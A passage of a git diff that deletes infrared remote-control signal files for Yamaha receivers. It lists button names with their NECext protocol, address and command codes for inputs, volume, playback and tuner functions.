parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3:_INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F1 00 00 00 -# -name: Z3:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: IN_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3_IN_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3_IN:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3:_INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F2 00 00 00 -# -name: Z3:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: IN_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3_IN_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3_IN:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3:_INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F3 00 00 00 -# -name: Z3:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: IN_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: Z3_IN_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: INPUT:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: Z3_IN:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: Z3:_INP_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F4 00 00 00 -# -name: Z3:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: IN_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3_IN_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: INPUT:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3_IN:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: INP_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3:_INP_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F5 00 00 00 -# -name: Z3:_DTV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3:_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: IN_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3_IN_D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: INPUT:_D-TV/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3_IN:_D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: INP_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3:_INP_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F6 00 00 00 -# -name: Z3:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: IN_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: INPUT:_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: Z3_IN:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: Z3:_INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: Z3_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: Z3_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F7 00 00 00 -# -name: Z3:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: IN_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3_IN_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: INPUT:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3_IN:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3:_INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: F9 00 00 00 -# -name: Z3:_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: IN_DVR/VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3_IN_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: INPUT:_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3_IN:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3:_INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FA 00 00 00 -# -name: Z3_IN_BD/HD-DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FB 00 00 00 -# -name: INP_BD/HD_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FB 00 00 00 -# -name: Z3:_INP_BD/HDDVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FB 00 00 00 -# -name: Z3_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FB 00 00 00 -# -name: Z3_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FB 00 00 00 -# -name: Z3:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: IN_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3_IN_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3_IN:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3:_INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FC 00 00 00 -# -name: Z3:_VOL_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: Z3_VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: Z3:_VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: Z3:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: Z3:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FD 00 00 00 -# -name: Z3:_VOL_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: Z3_VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: Z3:_VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: Z3:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: Z3:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FE 00 00 00 -# -name: Z3:_MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: Z3_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: MUTE_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: Z3:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir deleted file mode 100644 index 8b69059ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir +++ /dev/null @@ -1,620 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 84 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SEARCH_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 88 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 89 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8A 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8B 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8C 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8D 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8E 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8F 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 91 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 92 00 00 00 -# -name: REC_0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: REC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: REC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: REC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: REC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: REC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: REC_6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: REC_7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: REC_8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: REC_9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9D 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9E 00 00 00 -# -name: TITLE/INDEX -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: CANCEL_(CLEAR) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A1 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A2 00 00 00 -# -name: REPEART_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: REPEAR_A-B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A5 00 00 00 -# -name: DISPLAY_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A7 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A9 00 00 00 -# -name: SUBTITILE_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AA 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AB 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B2 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: SELECT_(ENTER) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: SKIP/SEARCH_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP/SEARCH_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: MULTI_SPEED -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BB 00 00 00 -# -name: DISC_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BC 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BD 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D1 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D2 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D3 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D4 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D5 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D8 00 00 00 -# -name: VIDEO_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D9 00 00 00 -# -name: PROGRESSIVE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DA 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DB 00 00 00 -# -name: GROUP_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DC 00 00 00 -# -name: GROUP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DD 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DE 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: DF 00 00 00 -# -name: PLAY_MODE_NORMAL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F0 00 00 00 -# -name: PLAY_MODE_RANDOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F1 00 00 00 -# -name: PLAY_MODE_PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F2 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F5 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir deleted file mode 100644 index 0865d408e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir +++ /dev/null @@ -1,986 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 27 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 28 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 29 00 00 00 -# -name: TUNER_AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2A 00 00 00 -# -name: TUNER_AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2B 00 00 00 -# -name: XM_ALL_CH_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2C 00 00 00 -# -name: XM_CAT_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2D 00 00 00 -# -name: XM_PRESET_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2E 00 00 00 -# -name: Z2_INPUT_XM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2F 00 00 00 -# -name: XM_PRESET_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 31 00 00 00 -# -name: XM_PRESET_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 32 00 00 00 -# -name: XM_CAT_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 33 00 00 00 -# -name: XM_SRCH_MODE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 34 00 00 00 -# -name: XM_CAT_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 35 00 00 00 -# -name: XM_MEMORY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 38 00 00 00 -# -name: XM_DISPLAY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 39 00 00 00 -# -name: XM_ENTER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 3F 00 00 00 -# -name: Z2_POWER_OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 63 00 00 00 -# -name: Z2_POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 64 00 00 00 -# -name: Z2_INPUT_PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 65 00 00 00 -# -name: Z2_INPUT_TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 66 00 00 00 -# -name: Z2_INPUT_CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 67 00 00 00 -# -name: Z2_INPUT_MD/TAPE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6A 00 00 00 -# -name: Z2_INPUT_DTV/CBL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6C 00 00 00 -# -name: Z2_INPUT_VCR -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6D 00 00 00 -# -name: Z2_INPUT_DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 70 00 00 00 -# -name: Z2_VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 71 00 00 00 -# -name: Z2_VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 71 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 72 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 72 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 81 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 81 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 82 00 00 00 -# -name: LASER_DISC -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 83 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 83 00 00 00 -# -name: TV/DBS -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 84 00 00 00 -# -name: INPUT_DTV/CBL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 84 00 00 00 -# -name: DVD/VCR_3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 85 00 00 00 -# -name: VCR3/DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 85 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 87 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 87 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 88 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 89 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 89 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8A 00 00 00 -# -name: MD/TAPE_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8B 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8B 00 00 00 -# -name: INPUT_MD/TAPE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8B 00 00 00 -# -name: TAPE_2/MON./EXTERNAL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8C 00 00 00 -# -name: TAPE_2_MON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8F 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 91 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 93 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 94 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 94 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 97 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 9C 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 9D 00 00 00 -# -name: 